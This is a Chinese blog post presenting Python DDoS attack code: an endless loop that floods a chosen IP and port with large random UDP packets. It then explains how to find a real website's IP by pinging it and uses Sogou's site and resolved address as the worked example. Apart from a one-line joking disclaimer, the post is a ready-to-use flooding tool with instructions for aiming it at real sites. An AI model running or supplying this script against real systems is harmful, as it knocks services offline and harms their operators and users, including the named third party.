当前位置:   article > 正文

Python Ddos攻击代码_pythonddos攻击代码

pythonddos攻击代码

这是一个用Python编写的简单的DDoS攻击源码。该代码通过创建一个UDP套接字并发送大量随机数据包到指定的IP地址和端口号来实现DDoS攻击。攻击大小可以通过更改"bytes"变量中的数字来调整。不过我建议大家不要拿去做坏事哈!

  1. import os
  2. import socket
  3. import random
  4. from datetime import datetime
  5. now = datetime.now()
  6. hour = now.hour
  7. minute = now.minute
  8. day = now.day
  9. month = now.month
  10. year = now.year
  11. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  12. bytes = random._urandom(65099)
  13. ip = "192.168.XXX.XXX"
  14. port = 80
  15. os.system("clear")
  16. sent = 0
  17. while True:
  18. sock.sendto(bytes, (ip, port))
  19. sent = sent + 1
  20. print("已发送 %s 个数据包到 %s 端口 %d" % (sent, ip, port))

如果大家不知道你要测压的网站的ip是什么,可以像这样

1.打开命令提示符

然后你会看到如下的状态

  1. Microsoft Windows [Version 10.0.22621.2283]
  2. (c) Microsoft Corporation. All rights reserved.
  3. C:\Users\Administrator>

2.输入ping 网址

  1. Microsoft Windows [Version 10.0.22621.2283]
  2. (c) Microsoft Corporation. All rights reserved.
  3. C:\Users\江>ping 123.sogou.com

我这里ping的是搜狗浏览器的ip,你们的自己修改。注意!要去掉"https://"或"http://",后面不能留有"/"

3.按下回车键,你就会看到如下状态

  1. Microsoft Windows [Version 10.0.22621.2283]
  2. (c) Microsoft Corporation. All rights reserved.
  3. C:\Users\Administrator>ping 123.sogou.com
  4. Pinging ins-yskxifo9.ias.tencent-cloud.net [120.241.130.197] with 32 bytes of data:
  5. Reply from 120.241.130.197: bytes=32 time=20ms TTL=54
  6. Reply from 120.241.130.197: bytes=32 time=21ms TTL=54
  7. Reply from 120.241.130.197: bytes=32 time=24ms TTL=54
  8. Reply from 120.241.130.197: bytes=32 time=22ms TTL=54
  9. Ping statistics for 120.241.130.197:
  10. Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
  11. Approximate round trip times in milli-seconds:
  12. Minimum = 20ms, Maximum = 24ms, Average = 21ms
  13. C:\Users\Administrator>

其中120.241.130.197就是搜狗浏览器的ip了

我们下次见!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/运维做开发/article/detail/829664
推荐阅读
相关标签
  

闽ICP备14008679号